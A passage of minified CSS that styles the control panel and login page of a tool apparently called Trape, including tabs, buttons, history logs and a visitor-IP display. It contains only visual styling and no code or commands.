6px;margin-right:5px}.TrapeControl-Preview--box---DetailsElement----text,.TrapeControl-Preview--box---Sidebar----Iconbox-----text{font-family:Ubuntu,sans-serif;font-weight:500;letter-spacing:.5px;font-size:10px;vertical-align:middle}.TrapeControl-BoxTab--options---Tabs,.TrapeControl-BoxTab--options---subTabs,.TrapeControl-Preview--Tabs,.TrapeControl-Preview--box---Sidebar----Tabs{font-family:Ubuntu,sans-serif;border-radius:5em;display:-webkit-inline-box;display:-moz-inline-box;display:-webkit-inline-flex;display:-ms-inline-flexbox;display:inline-box;display:inline-flex;float:right;overflow:hidden;margin-top:0;border:1px solid #f0ebf3;z-index:2}.TrapeControl-BoxTab--options---Tabs,.TrapeControl-BoxTab--options---subTabs{margin-top:-14px!important}.TrapeControl-Preview--box---Sidebar----Tabs{margin-top:-8px!important;border:none!important}.TrapeControl-BoxTab--options---Tabs----button,.TrapeControl-BoxTab--options---subTabs----button,.TrapeControl-Preview--Tabs---button,.TrapeControl-Preview--box---Sidebar----Tabs-----button{color:#b3b0b8;background-color:#FBFCFF;border:none;vertical-align:top;padding:5px 10px;cursor:pointer;font-weight:500;letter-spacing:.5px;border-left:1px solid #f0ebf3;text-decoration:none!important;z-index:2;font-size:11px;outline:0;text-transform:uppercase;font-family:Ubuntu,sans-serif}.TrapeControl-Preview--box---Sidebar----Tabs-----button{padding:1px 7px;background:#fff!important}.TrapeControl-BoxTab--options---Tabs----button:first-child,.TrapeControl-BoxTab--options---subTabs----button:first-child,.TrapeControl-Preview--Tabs---button:first-child,.TrapeControl-Preview--box---Sidebar----Tabs-----button:first-child{border-left:0}.TrapeControl-BoxTab--options---Tabs----button:hover,.TrapeControl-BoxTab--options---subTabs----button:hover,.TrapeControl-Preview--Tabs---button:hover,.TrapeControl-Preview--box---Sidebar----Tabs-----button:hover{color:#b3b0b8}.TrapeControl-BoxTab--options---Tabs----button.is-active,.TrapeControl-BoxTab--options---Tabs----button:active,.TrapeControl-BoxTab--options---subTabs----button.is-active,.TrapeControl-BoxTab--options---subTabs----button:active,.TrapeControl-Preview--Tabs---button.is-active,.TrapeControl-Preview--Tabs---button:active,.TrapeControl-Preview--box---Sidebar----Tabs-----button.is-active,.TrapeControl-Preview--box---Sidebar----Tabs-----button:active{background:#fff!important;color:#007ee5!important}.TrapeControl-Preview--dataShow{width:50%;float:left}.TrapeControl-Preview--dataShowInspect{width:100%;padding-bottom:0}.TrapeControl-Preview--dataShow ul{margin:0;padding:0;list-style:none}.TrapeControl-Preview--dataShow:last-child{border-left:1px solid #f0ebf3}.TrapeControl-Preview--dataShow---define,.TrapeControl-PreviewSummary--info---Data{padding:0 20px 0 14px;line-height:28px;font-size:11px;color:#b3b0b8;text-align:left;font-family:Ubuntu,sans-serif;border-bottom:1px solid #f0ebf3;overflow-wrap:break-word;word-wrap:break-word;word-break:break-word;overflow:hidden;white-space:nowrap;text-overflow:ellipsis}.TrapeControl-Preview--dataShow .TrapeControl-Preview--dataShow---define:last-child,.TrapeControl-Preview--dataShow .TrapeControl-Preview--dataShow---define:nth-child(5),.TrapeControl-PreviewSummary--info---Data:last-child{border-bottom:none}.TrapeControl-PreviewSummary--info---Data{padding:0 5px 0 1px;line-height:25px}.TrapeControl-Preview--dataShow .TrapeControl-Preview--dataShow---define strong,.TrapeControl-PreviewSummary--info---Data strong{color:#000;font-weight:500}.TrapeControl-Preview--dataShow .TrapeControl-Preview--dataShow---define a{color:#007ee5;text-decoration:none;text-transform:uppercase;font-size:12px;font-weight:600;letter-spacing:.5px;margin-left:2px}.TrapeApp-WrapperTop--Form---Text .TrapeApp-WrapperTop--Form---Text----link i{vertical-align:text-top;font-size:14px}.TrapeControl-Preview--dataShow .TrapeControl-Preview--dataShow---define a:hover{color:#198ae7;text-decoration:underline}.TrapeControl-Preview--dataShow .TrapeControl-Preview--dataShow---define a:active{color:#0064b7}.TrapeControl-BoxTab{display:block}.TrapeControl-BoxTab:nth-child(3),.TrapeControl-BoxTab:nth-child(4),.TrapeControl-BoxTab:nth-child(5),.TrapeControl-BoxTab:nth-child(6),.TrapeControl-Preview--SubTabsNH:nth-child(3),.TrapeControl-Preview--SubTabsShow:nth-child(3),.TrapeControl-Preview--SubTabsShow:nth-child(4),.TrapeControl-WhoSe:nth-child(3){display:none}.TrapeControl-BoxTab--options{border-top:1px solid #f0ebf3;text-align:left;margin:26px 2% 0 1%}.TrapeControl-BoxTab--options .TrapeControl-BoxTab--options---Text{display:inline-block;position:relative;top:-11px;padding:3px 6px;font-weight:500;background-color:#FFF;font-size:11px;font-family:Ubuntu;text-transform:uppercase;letter-spacing:.5px;border-radius:3px;color:#b3b0b8}.TrapeControl-BoxTab--Form---button,.TrapeControl-BoxTab--Form---buttonsVoice----btn,.TrapeControl-History--Tabs---button,.TrapeControl-History--line,.TrapeControl-Wrapper--Stats---Item----number{font-family:Ubuntu,sans-serif;text-transform:uppercase}.TrapeControl-BoxTab--Form,.TrapeControl-BoxTab--FormLeftDown,.TrapeControl-BoxTab--FormRight,.TrapeControl-BoxTab--FormSpeech{margin:10px 12px;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;position:relative}.TrapeControl-BoxTab--FormSpeech{display:block!important;margin-left:13px;margin-right:13px}.TrapeControl-BoxTab--FormRight{margin-left:87px!important}.TrapeControl-BoxTab--FormLeftDown{margin-top:28px!important}.TrapeControl-BoxTab--Form---input,.TrapeControl-BoxTab--Form---textarea,.TrapeControl-BoxTab--Form---textareaSpeech{background-color:#fff;border:1px solid #f0ebf3;font-family:Ubuntu,sans-serif;font-size:11px;font-weight:500;text-transform:uppercase;color:#b3b0b8;padding:9px 10px;border-right:0;width:205px;border-top-left-radius:4px;border-bottom-left-radius:4px;-webkit-transition:all .1s ease-in-out;-moz-transition:all .1s ease-in-out;-ms-transition:all .1s ease-in-out;-o-transition:all .1s ease-in-out;transition:all .1s ease-in-out;outline:0;resize:none}.TrapeControl-BoxTab--Form---textarea{height:70px}.TrapeControl-BoxTab--Form---input::-webkit-input-placeholder,.TrapeControl-BoxTab--Form---textarea::-webkit-input-placeholder,.TrapeControl-BoxTab--Form---textareaSpeech::-webkit-input-placeholder{color:#b3b0b8}.TrapeControl-BoxTab--Form---input::-moz-placeholder,.TrapeControl-BoxTab--Form---textarea::-moz-placeholder,.TrapeControl-BoxTab--Form---textareaSpeech::-moz-placeholder{color:#b3b0b8}.TrapeControl-BoxTab--Form---input:-ms-input-placeholder,.TrapeControl-BoxTab--Form---textarea:-ms-input-placeholder,.TrapeControl-BoxTab--Form---textareaSpeech:-ms-input-placeholder{color:#b3b0b8}.TrapeControl-BoxTab--Form---input:-moz-placeholder,.TrapeControl-BoxTab--Form---textarea:-moz-placeholder,.TrapeControl-BoxTab--Form---textareaSpeech:-moz-placeholder{color:#b3b0b8}.TrapeControl-BoxTab--Form---buttonsVoice{text-align:center;margin-top:2px}.TrapeControl-BoxTab--Form---button,.TrapeControl-BoxTab--Form---buttonsVoice----btn{border-top-right-radius:4px;border-bottom-right-radius:4px;background-color:#FBFCFF;border:0;border:1px solid #f0ebf3;outline:0;color:#007ee5;line-height:12px;text-decoration:none;font-size:11px;font-weight:500;padding:9px 10px;width:93px;cursor:pointer;margin-left:-3px;letter-spacing:.5px}.TrapeControl-BoxTab--Form---buttonsVoice----btn{margin-left:6px;width:150px;margin-right:6px;border-radius:4px}.TrapeControl-BoxTab--Form---button:hover,.TrapeControl-BoxTab--Form---buttonsVoice----btn:hover{border:1px solid #0071ce;background:#007ee5;color:#fff}.TrapeControl-BoxTab--Form---button:active,.TrapeControl-BoxTab--Form---buttonsVoice----btn:active{background-color:#0071ce;border:1px solid #0058a0;color:#fff}.TrapeControl-Wrapper--Stats{text-align:center;margin-bottom:30px;padding:30px 0}.TrapeControl-Wrapper--Stats---Item{display:inline-block;vertical-align:middle}.TrapeControl-Wrapper--Stats---Item----number{color:#000;font-size:20px;letter-spacing:1px;font-weight:500}.TrapeControl-Wrapper--Stats---Item----text{vertical-align:middle;font-family:Ubuntu;text-transform:uppercase;color:#b3b0b8;font-size:11px;letter-spacing:1px;font-weight:400;margin:0 0 8px}.TrapeControl-Wrapper--Stats---Item----symbol{color:#b3b0b8;font-size:20px;letter-spacing:.02em;text-transform:uppercase}.TrapeControl-Wrapper--Stats---lineSeparation{display:inline-block;vertical-align:middle;width:1px;height:44px;background-color:#f0ebf3;margin:0 28px}.TrapeControl-History{max-width: 780px;margin:-24px auto 10px;text-align:center;}.TrapeControl-History--Tabs{border-radius:5em;display:-webkit-inline-box;display:-moz-inline-box;display:-webkit-inline-flex;display:-ms-inline-flexbox;display:inline-flex;overflow:hidden;margin-top:-4px;position:relative;top:5px;z-index:3}.TrapeControl-History--Tabs---button{color:#b3b0b8;background:#fff;border:none;vertical-align:top;padding:6px 12px;cursor:pointer;font-weight:500;letter-spacing:.5px;border-left:1px solid #f0ebf3;text-decoration:none!important;font-size:11px;-webkit-tap-highlight-color:transparent;-ms-touch-action:manipulation;touch-action:manipulation;-webkit-appearance:none;-moz-appearance:none;-ms-appearance:none;-o-appearance:none;appearance:none;-webkit-transition:all .1s;-moz-transition:all .1s;-ms-transition:all .1s;-o-transition:all .1s;transition:all .1s;z-index:2}.TrapeControl-History--Logs---log,.TrapeControl-History--line{font-size:12px;border-bottom:1px solid #f0ebf3;position:relative}.TrapeControl-History--Tabs---button,.TrapeControl-History--Tabs---button:active,.TrapeControl-History--Tabs---button:focus,.TrapeControl-History--Tabs---button:hover{outline:0}.TrapeControl-History--Tabs---button:first-child{border-left:0}.TrapeControl-History--Tabs---button:hover{color:#b3b0b8}.TrapeControl-History--Tabs---button.is-active,.TrapeControl-History--Tabs---button:active{background:#fff!important;color:#007ee5!important}.TrapeControl-History--line{font-weight:700;text-align:center;padding:12px;letter-spacing:.5px;color:#b3b0b8}.TrapeControl-History--Logs{overflow-y:auto;height:248px}.TrapeControl-History--Logs:nth-child(4),.TrapeControl-History--Logs:nth-child(5){display:none}.TrapeControl-History--Logs---log{line-height:20px;text-align:left;font-family:Ubuntu,sans-serifsans-serif;padding:10px 4px;background:#fff}.TrapeControl-History--Logs---log .TrapeControl-History--Logs---logDevice----desktop,.TrapeControl-History--Logs---log .TrapeControl-History--Logs---logDevice----mobile{color:#fff;font-size:24px;text-align:center;display:inline-block;width:40px;line-height:38px;float:left;border-radius:6px}.TrapeControl-History--Logs---log .TrapeControl-History--Logs---logDevice----desktop:before,.TrapeControl-History--Logs---log .TrapeControl-History--Logs---logDevice----mobile:before{font-family:boxicons}.TrapeControl-History--Logs---log .TrapeControl-History--Logs---logDevice----mobile{background-color:#2a3239}.TrapeControl-History--Logs---log .TrapeControl-History--Logs---logDevice----mobile:before{content:"\e9e4"}.TrapeControl-History--Logs---log .TrapeControl-History--Logs---logDevice----desktop{background-color:#007ee5}.TrapeControl-History--Logs---log .TrapeControl-History--Logs---logDevice----desktop:before{content:"\f108"}.TrapeControl-History--Logs---logData{margin-left:46px}.TrapeControl-History--Logs---log .TrapeControl-History--Logs---logData----victimIP{color:#000;font-weight:700;font-size:15px;margin:0;display:block;text-decoration:none}.TrapeControl-History--Logs---log .TrapeControl-History--Logs---logData----victimIP:hover{color:#007ee5;text-decoration:none}.TrapeControl-History--Logs---log .TrapeControl-History--Logs---logData----victimIP:active,.TrapeControl-History--Logs---log .TrapeControl-History--Logs---logData----victimIP:visited{color:#0064b7}.TrapeControl-History--Logs---log .TrapeControl-History--Logs---logData----countryTime{color:#b3b0b8}.TrapeControl-History--Logs---logData----requests,.TrapeControl-History--Logs---logData----services{font-weight:500;position:relative;font-family:Ubuntu,sans-serif;margin-left:4px;text-transform:uppercase;line-height:0;color:#b3b0b8;display:inline-block;text-decoration:none!important;font-size:11px}.TrapeControl-History--Tabs---button----iconLogs{vertical-align:text-bottom;font-size:11px;color:#b3b0b8;margin-right:4px;font-weight:500}.TrapeControl-History--Tabs---button----iconLogs:before{font-family:boxicons;content:"\ea37"}.TrapeControl-History--Logs---logData----iconRequests,.TrapeControl-History--Logs---logData----iconServices,.TrapeControl-History--Tabs---button----iconRequests,.TrapeControl-History--Tabs---button----iconSocialImpact{font-size:11px;color:#b3b0b8;margin-right:4px;font-weight:500}.TrapeControl-History--Logs---logData----iconRequests:before,.TrapeControl-History--Logs---logData----iconServices:before,.TrapeControl-History--Tabs---button----iconRequests:before{font-family:boxicons;content:"\f1da"}.TrapeControl-History--Tabs---button----iconSocialImpact:before{font-family:boxicons;content:"\e9f5"}.TrapeControl-History--Logs---logData----iconRequests:before,.TrapeControl-History--Logs---logData----iconServices:before{content:"\e9a1";font-size:13px;vertical-align:middle}.TrapeControl-History--Logs---logData----iconServices:before{content:"\f1e0"}.logs-iconDEvice{color:#b3b0b8!important;font-size:13px;vertical-align:text-bottom;margin-right:3px}.TrapeControl-History--Logs---logData----lineVertical{font-weight:700;position:relative;font-family:Ubuntu,sans-serif;margin-left:6px;margin-right:4px;text-transform:uppercase;line-height:0;color:#f0ebf3;background-color:#f0ebf3;border-left:1px solid #f0ebf3;text-decoration:none!important}.TrapeControl-History--Logs---logData----lineVertical:nth-child(1){margin-right:0}.TrapeControl-History--Logs---log----Delete{font-size:13px;color:#ED5565;margin-left:10px;margin-right:7px;margin-top:4px;cursor:pointer;border-radius:100%;border:1px solid transparent;text-align:center;width:23px;height:23px;padding:4px;line-height:13px}.TrapeControl-History--Logs---log----Delete:hover{background-color:#ED5565;border:1px solid #bd4450;color:#fff}.TrapeControl-History--Logs---log----Delete:active{background-color:#d54c5a;border:1px solid #a53b46;color:#fff}.TrapeControl-History--Logs---log----ConfirmDeleteBox{position:relative;font-family:Ubuntu,sans-serif;padding:10px 4px;background-color:#fff;width:810px;margin-top:-16px;margin-bottom:-39px;z-index:4;border-top:1px solid #f0ebf3}.TrapeControl-History--Logs---log----ConfirmDeleteBox-----message{display:block;font-size:15px;font-weight:500;float:left;text-align:right;margin-left:24px;margin-top:-4px}.TrapeControl-History--Logs---log----ConfirmDeleteBox-----message i{color:#b3b0b8;font-size:20px;vertical-align:text-bottom;margin-right:3px}.TrapeControl-History--Logs---log----ConfirmDeleteBox-----Buttons{display:-webkit-inline-box;display:-moz-inline-box;display:-webkit-inline-flex;display:-ms-inline-flexbox;display:inline-flex;position:relative;z-index:3;float:right;margin-top:-4px}.TrapeControl-History--Logs---log----ConfirmDeleteBox-----ButtonsYes{outline:0;background-color:#ED5565;border:1px solid #bd4450;border-right:0!important;border-top-left-radius:4px;border-bottom-left-radius:4px;font-family:Lato,sans-serif;font-size:11px;font-weight:700;text-transform:uppercase;padding:2px 10px;color:#fff;text-decoration:none}.TrapeControl-History--Logs---log----ConfirmDeleteBox-----ButtonsYes:hover{background-color:#d54c5a;border:1px solid #a53b46}.TrapeControl-History--Logs---log----ConfirmDeleteBox-----ButtonsYes:active{background-color:#ED5565;border:1px solid #bd4450}.TrapeControl-History--Logs---log----ConfirmDeleteBox-----ButtonsNo{border-top-right-radius:4px;border-bottom-right-radius:4px;background-color:#fff;outline:0;color:#b3b0b8;text-transform:uppercase;font-family:Lato,sans-serif;font-size:11px;font-weight:600;border:1px solid #f0ebf3;padding:2px 10px;cursor:pointer;text-decoration:none}.TrapeControl-History--Logs---centerData----behavior,.TrapeControl-History--Logs---centerData----osBrowser,.TrapeControl-History--Logs---zonePreview----button,.TrapeControl-History--Logs---zonePreview----code{font-family:Ubuntu,sans-serif;font-weight:500;text-transform:uppercase}.TrapeControl-History--Logs---log----ConfirmDeleteBox-----ButtonsNo:hover{color:#007ee5}.TrapeControl-History--Logs---log----ConfirmDeleteBox-----ButtonsNo:active{background-color:#0071ce;border:1px solid #0058a0;color:#fff}.TrapeControl-History--Logs---zonePreview{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;position:relative;top:-36px;text-align:right;float:right}.TrapeControl-History--Logs---zonePreview----code{outline:0;background-color:#FBFCFF;border:1px solid #f0ebf3;border-right:0;border-top-left-radius:3px;border-bottom-left-radius:3px;font-size:11px;padding:4px 6px;color:#b3b0b8}.TrapeControl-History--Logs---zonePreview----button{border-top-right-radius:3px;border-bottom-right-radius:3px;background-color:#fff;outline:0;color:#007ee5;line-height:20px;text-decoration:none;font-size:11px;letter-spacing:.5px;border:1px solid #f0ebf3;padding:4px 8px;cursor:pointer}.TrapeControl-History--Logs---zonePreview----button:hover{border:1px solid #0071ce;background:#007ee5;color:#fff}.TrapeControl-History--Logs---zonePreview----button:active{background-color:#0071ce;border:1px solid #0058a0;color:#fff}.TrapeControl-History--Logs---centerData{margin:0 6px 0 0;float:right;display:block;position:relative;top:-32px}.TrapeControl-History--Logs---centerData----behavior{font-size:10px;color:#fff;position:relative;top:14px;text-align:center;margin-right:12px;background-color:#000;padding:2px 6px;border-radius:4px}.TrapeControl-History--Logs---centerData----osBrowser{float:right;padding-right:15px;padding-left:15px;border-left:1px solid #f0ebf3;margin-top:-8px}.TrapeControl-History--Logs---centerData----osBrowser-----browser,.TrapeControl-History--Logs---centerData----osBrowser-----os{margin:0;color:#b3b0b8;font-size:10px;font-weight:400;letter-spacing:.5px;width:86px;vertical-align:middle}.icon-iphone:before,.icon-macos:before{font-family:boxicons;content:"\f179"}.icon-msie:before{font-family:boxicons;content:"\f26b"}.TrapeControl-Requests{width:100%;box-shadow:none;border-radius:0;-webkit-transform:none;-moz-transform:none;-ms-transform:none;-o-transform:none;transform:none;border-bottom:1px solid #f0ebf3;border-top:none}.TrapeControl-Requests--HeaderData{background:#FBFCFF;border-top:none;border-bottom:1px solid #f0ebf3}.TrapeControl-Requests--HeaderData .TrapeControl-Requests--HeaderData---define{padding:0 14px;line-height:38px;margin:0;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-flex-direction:row;-ms-flex-direction:row;flex-direction:row;-webkit-justify-content:space-between;-ms-flex-pack:justify;justify-content:space-between;-webkit-align-items:stretch;-ms-flex-align:stretch;align-items:stretch;-webkit-flex-wrap:wrap;-ms-flex-wrap:wrap;flex-wrap:wrap}.TrapeControl-Requests--HeaderData---idRequest{padding:0 6px;margin-top:9px;height:20px;line-height:18px;border-radius:4px;text-transform:uppercase;font-size:11px;font-weight:500;color:#fff!important;background:#2676A5;border:1px solid #226a94}.TrapeControl-Requests--HeaderData .TrapeControl-Requests--HeaderData---define----value{float:left;font-size:11px;color:#000;font-weight:500;text-transform:uppercase;margin:0 38px 0 0}.TrapeControl-Requests--HeaderData .TrapeControl-Requests--HeaderData---define----value strong{color:#b3b0b8;font-weight:500}.TrapeControl-Requests .TrapeControl-Requests--body{padding:0;border-top:none}.TrapeControl-Requests--body---Data{width:100%;padding-bottom:0}.TrapeControl-Requests--body---Data ul{margin:0;padding:0;list-style:none;border-radius:0;border:none}.TrapeControl-Requests--body---Data .TrapeControl-Requests--body---Data----view{color:#b3b0b8;text-align:left;border-bottom:1px solid #f0ebf3;overflow-wrap:break-word;word-wrap:break-word;word-break:break-word;overflow:hidden;white-space:nowrap;text-overflow:ellipsis;font-size:13px;line-height:29px;padding:0 20px 0 14px}.TrapeControl-Requests--body---Data .TrapeControl-Requests--body---Data----view strong{color:#000}.TrapeControl-Requests--body---Data .TrapeControl-Requests--body---Data----view:last-child{border:none}.TrapeControl-HistoryRequests--NotData,.TrapeControl-HistorySocialImpact--NotData{color:#b3b0b8;position:relative;line-height:247px;font-size:24px!important;text-align:center;border-bottom:1px solid #f0ebf3;font-family:lato,sans-serif}.TrapeControl-shareBox{position:absolute;right:0;z-index:4;display:none;margin-right:0;margin-top:49px;list-style:none;text-align:left;background-color:#fff;border:1px solid #f0ebf3;border-radius:4px;box-shadow:0 2px 8px rgba(0,0,0,.1);background-clip:padding-box;-webkit-transition:.3s ease;-moz-transition:.3s ease;-ms-transition:.3s ease;-o-transition:.3s ease;transition:.3s ease;width:150px;max-height:calc(100vh - 50px);-webkit-overflow-scrolling:touch}.TrapeControl-shareBox.active{display:block}.TrapeControl-shareBox .TrapeControl-shareBox--Item---list a{clear:both;border-bottom:1px solid #f0ebf3;max-width:100%;overflow:hidden;text-overflow:ellipsis;white-space:nowrap;word-wrap:normal;font-family:Ubuntu,sans-serif;font-weight:500;width:100%;font-size:10px;letter-spacing:.5px;text-transform:uppercase;text-align:left;text-decoration:none;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;color:#b3b0b8;cursor:pointer;display:block;line-height:14px;padding:9px 24px 9px 12px;border-radius:4px 4px 0 0}.TrapeControl-shareBox .TrapeControl-shareBox--Item---list a:hover{color:#3E4D60;background-color:#FBFCFF}.TrapeControl-shareBox .TrapeControl-shareBox--Item---list a:active{color:#818B98;background-color:#FBFCFF}.TrapeControl-shareBox .TrapeControl-shareBox--Item---list a:focus{background-color:#FBFCFF}.TrapeControl-shareBox .TrapeControl-shareBox--Item---list:nth-child(3) a{border-radius:0 0 4px 4px;border-bottom:0}.TrapeControl-shareBox--Item---triangleDown{position:absolute;height:0!important;width:0!important;border-bottom:10px solid #fff;border-left:11px solid transparent;border-right:11px solid transparent;top:-1px;right:-1px;box-shadow:none!important}.TrapeControl-shareBox--Item---triangleDown:before{position:absolute;top:-7px;right:-3px;z-index:-2;width:14px;height:14px;border:solid #f0ebf3;border-width:1px 1px 0 0;background-color:#fff;content:"";-webkit-transform:rotate(-45deg);-moz-transform:rotate(-45deg);-ms-transform:rotate(-45deg);-o-transform:rotate(-45deg);transform:rotate(-45deg)}.TrapeControl-shareBox--socialFacebook,.TrapeControl-shareBox--socialTwitter{width:23px;text-align:center;border-radius:4px;font-size:14px;font-weight:600;line-height:21px;height:21px;float:left;-webkit-backface-visibility:hidden;-moz-backface-visibility:hidden;-ms-backface-visibility:hidden;backface-visibility:hidden;-webkit-transition:all .3s;-moz-transition:all .3s;-ms-transition:all .3s;-o-transition:all .3s;transition:all .3s;margin:-3px 6px -5px -4px}.TrapeLogin,.TrapeLogin-Header{margin-left:auto;margin-right:auto}.TrapeControl-shareBox--socialFacebook{color:#fff!important;background-color:#3B5998;border:1px solid #2f4779}.TrapeControl-shareBox--socialTwitter{color:#fff!important;background-color:#00ACEE;border:1px solid #0089be}.TrapeControl-shareBox--pointRight{color:#b3b0b8!important;position:absolute;right:12px;font-size:10px;font-weight:400;line-height:16px}.TrapeControl-shareBox--pointRight:before{font-family:boxicons;content:"\f054"}.TrapeLogin-Header--Box---nameTrape,.TrapeLogin-Wrapper--description,.TrapeLogin-Wrapper--explanation{font-family:Ubuntu,sans-serif}.TrapeLogin{width:100%;height:100%;font-size:14px;line-height:20px}.TrapeLogin-Header{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-pack:center;-ms-flex-pack:center;justify-content:center;-webkit-box-align:center;-ms-flex-align:center;align-items:center;z-index:9;border-bottom:1px solid #f0ebf3;width: 186px;padding-bottom:14px;text-align:center;margin-top:21vh;}.TrapeLogin-Header--Box{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex}.TrapeLogin-Header--Box---logo{width:68px;height:68px;margin-right: 14px;border:none;border-radius:0;}.TrapeLogin-Header--Box---nameTrape{font-weight:700;line-height:1.5;margin-bottom:0;margin-top: 8px;text-align:left;font-size: 37px;}.TrapeLogin-Header--Box---byJoseText{color:#b3b0b8;font-weight:400;font-size:19px;margin-top:0;line-height:1;display: none;}.TrapeLogin-Header--Box---byBoxugLogo{vertical-align:bottom;width:92px;margin-left:-4px;border-radius:0;border:none;margin-bottom:-4px;margin-top:-12px}.TrapeLogin-Wrapper{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-orient:vertical;-webkit-box-direction:normal;-ms-flex-flow:column wrap;flex-flow:column wrap;-webkit-box-pack:center;-ms-flex-pack:center;justify-content:center;-webkit-box-align:center;-ms-flex-align:center;align-items:center;margin-left:auto;margin-right:auto}.TrapeLogin-Wrapper--description{margin:28px 0 1rem;text-transform:uppercase;text-align:center;font-weight:700;font-size:24px;color:#000}.TrapeLogin-Wrapper--explanation{color:#b3b0b8;text-align:center;margin:0 auto;font-size:15px;letter-spacing:.5px;line-height:27px;font-weight:500;text-transform:uppercase}.TrapeLogin-Wrapper--Form{position:relative;width:356px;margin-right:auto;margin-left:auto;margin-top:22px}.TrapeLogin-Wrapper--iconLabel{position:absolute;text-align:center;color:#b3b0b8!important;border-right:1px solid #f0ebf3;font-weight:500!important;font-size:16px!important;line-height:18px!important;margin-top:15px;margin-left:0;padding-left:6px;width:2.7em;z-index:8}.TrapeLogin-Wrapper--Form---button,.TrapeLogin-Wrapper--Form---input{font-size:13px;font-family:Ubuntu,sans-serif;text-transform:uppercase;outline:0}.TrapeLogin-Wrapper--Form---input{height:48px;width:100%;background-color:#FBFCFF;border:2px solid #f0ebf3;border-radius:6px;font-weight:500;color:#b3b0b8;padding-left:52px;padding-right:143px;-webkit-transition:all .1s ease-in-out;-moz-transition:all .1s ease-in-out;-ms-transition:all .1s ease-in-out;-o-transition:all .1s ease-in-out;transition:all .1s ease-in-out}.TrapeLogin-Wrapper--Form---input:focus,.TrapeLogin-Wrapper--Form---input:hover{background-color:#fff}.TrapeLogin-Wrapper--Form---input::-webkit-input-placeholder,.TrapeLogin-Wrapper--FormJob---input::-webkit-input-placeholder{color:#b3b0b8}.TrapeLogin-Wrapper--Form---input::-moz-placeholder,.TrapeLogin-Wrapper--FormJob---input::-moz-placeholder{color:#b3b0b8}.TrapeLogin-Wrapper--Form---input:-ms-input-placeholder{color:#b3b0b8}.TrapeLogin-Wrapper--Form---input:-moz-placeholder{color:#b3b0b8}.TrapeLogin-Wrapper--Form---buttonRightDefine{position:absolute;right:5px;top:5px}.TrapeLogin-Wrapper--Form---button{border-radius:6px;padding:0 18px;color:#fff;background-color:#111;border:1px solid #000;cursor:pointer;display:block;line-height:12px;height:38px;letter-spacing:1px;text-decoration:none;font-weight:600}.TrapeLogin-Wrapper--Form---button:hover{background-color:#000;border:1px solid #111;color:#fff;box-shadow:0 4px 6px rgba(50,50,93,.11),0 1px 3px rgba(0,0,0,.08)}.TrapeLogin-Wrapper--Form---button:active{background-color:#000;border:1px solid #000;color:#fff;box-shadow:0 7px 14px rgba(50,50,93,.1),0 3px 6px rgba(0,0,0,.08)}.TrapeLogin-Wrapper--Form---button small{font-size:12px;opacity:.6;margin-left:1px;margin-right:0;font-weight:600;vertical-align:text-bottom}.TrapeLogin-Footer--Copyright,.TrapeLogin-Wrapper--Form---text{font-size:11px;line-height:16px;font-weight:500;text-align:center;margin-top:20px;color:#b3b0b8;font-family:Ubuntu,sans-serif;text-transform:uppercase;}.TrapeLogin-Wrapper--Form---line{color:#f0ebf3}.TrapeLogin-IncorrectKey{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;position:relative;width:356px;margin-top:12px;margin-bottom:-6px}.TrapeLogin-IncorrectKey--Icon{border-top-left-radius:4px;border-bottom-left-radius:4px;background-color:#ed5565;outline:0;color:#fff;text-transform:uppercase;font-family:Ubuntu,sans-serif;text-decoration:none;font-size:16px;font-weight:600;border:1px solid #d54c5a;padding:4px 8px;cursor:pointer}.TrapeLogin-IncorrectKey--Text{outline:0;background-color:#FBFCFF;border:1px solid #f0ebf3;border-left:0;border-top-right-radius:4px;border-bottom-right-radius:4px;font-family:Ubuntu,sans-serif;font-size:11px;font-weight:500;text-transform:uppercase;padding:4px 14px;letter-spacing:.5px;color:#b3b0b8;width:100%}.TrapeControl-Copyright,.TrapeLogin-Copyright,.TrapeLogin-Footer{font-size:13px;color:#b3b0b8;font-weight:500;text-transform:uppercase;margin-top:24px;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none}.TrapeControl-Copyright--link,.TrapeLogin-Copyright--link{text-transform:uppercase;font-weight:600;/* vertical-align:sub; */color:#b3b0b8;}.TrapeControl-Copyright--link:hover,.TrapeLogin-Copyright--link:hover{color:#3a7ac5}.TrapeControl-Copyright--link:active,.TrapeLogin-Copyright--link:active{color:#346db1}.TrapeControl-Copyright .TrapeControl-Copyright--logo,.TrapeLogin-Copyright .TrapeLogin-Copyright--logo{vertical-align:inherit;width:81px;margin-left:-3px}.TrapeControl-PreviewProfileWhoIsItBox{text-align:center;margin-top:20px}.TrapeControl-PreviewProfileWhoIsItBox--Avatar,.TrapeControl-PreviewSummary--info---FacebookStatus{height:156px;width:156px;margin:0 auto;position:relative;border-radius:4em}.TrapeControl-PreviewSummary--info---FacebookStatus{margin-bottom:44px}.TrapeControl-PreviewProfileWhoIsItBox--Avatar---pic,.TrapeControl-PreviewSummary--info---FacebookStatus----Box{display:block;width:100%;border-radius:100%;background:#FBFCFF;border:1px solid #f0ebf3;padding:1px}.TrapeControl-PreviewSummary--info---FacebookStatus----Box{height:156px;width:156px}.TrapeControl-PreviewProfileWhoIsItBox--Avatar---badge,.TrapeControl-PreviewSummary--info---FacebookStatus----BoxNetwork{position:absolute;height:25px;width:25px;background-color:#3B5998;z-index:99999991;border-radius:30em;top:10px;display:flex;align-items:center;align-content:center;justify-content:center;right:10px;box-shadow:0 0 0 1px #2f4779}.TrapeControl-PreviewProfileWhoIsItBox--Avatar---badge.withFacebook,.TrapeControl-PreviewSummary--info---FacebookStatus----BoxNetwork.withFacebook{background-color:#3B5998;box-shadow:0 0 0 1px #2f4779}.TrapeControl-PreviewProfileWhoIsItBox--Avatar---badge.withTwitter{background-color:#00ACEE;box-shadow:0 0 0 1px 